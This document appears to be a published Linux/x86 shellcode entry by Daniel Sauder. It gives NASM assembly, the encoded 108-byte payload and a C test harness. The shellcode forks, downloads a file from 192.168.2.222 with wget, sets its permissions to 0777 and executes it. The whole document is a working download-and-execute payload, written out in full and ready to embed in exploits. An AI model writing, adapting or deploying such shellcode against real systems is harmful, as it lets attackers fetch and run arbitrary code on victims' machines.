Linux/x86 - Download File (http://192.168.2.222/x) + chmod() + Execute Shellcode (108 bytes)

/*
; Filename: downloadexec.nasm
; Author: Daniel Sauder
; Website: http://govolution.wordpress.com/
; Tested on: Ubuntu 12.04 / 32Bit
; License: http://creativecommons.org/licenses/by-sa/3.0/

; Shellcode:
; - download 192.168.2.222/x with wget
; - chmod x
; - execute x
; - x is an executable
; - length 108 bytes

global _start

section .text

_start:

    ;fork
    xor eax,eax
    mov al,0x2
    int 0x80
    xor ebx,ebx
    cmp eax,ebx
    jz child
  
    ;wait(NULL)
    xor eax,eax
    mov al,0x7
    int 0x80
        
    ;chmod x
    xor ecx,ecx
    xor eax, eax
    push eax
    mov al, 0xf
    push 0x78
    mov ebx, esp
    xor ecx, ecx
    mov cx, 0x1ff
    int 0x80
    
    ;exec x
    xor eax, eax
    push eax
    push 0x78
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 11
    int 0x80
    
child:
    ;download 192.168.2.222//x with wget
    push 0xb
    pop eax
    cdq
    push edx
    
    push 0x782f2f32 ;2//x avoid null byte
    push 0x32322e32 ;22.2
    push 0x2e383631 ;.861
    push 0x2e323931 ;.291
    mov ecx,esp
    push edx
    
    push 0x74 ;t
    push 0x6567772f ;egw/
    push 0x6e69622f ;nib/
    push 0x7273752f ;rsu/
    mov ebx,esp
    push edx
    push ecx
    push ebx
    mov ecx,esp
    int 0x80
    
*/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}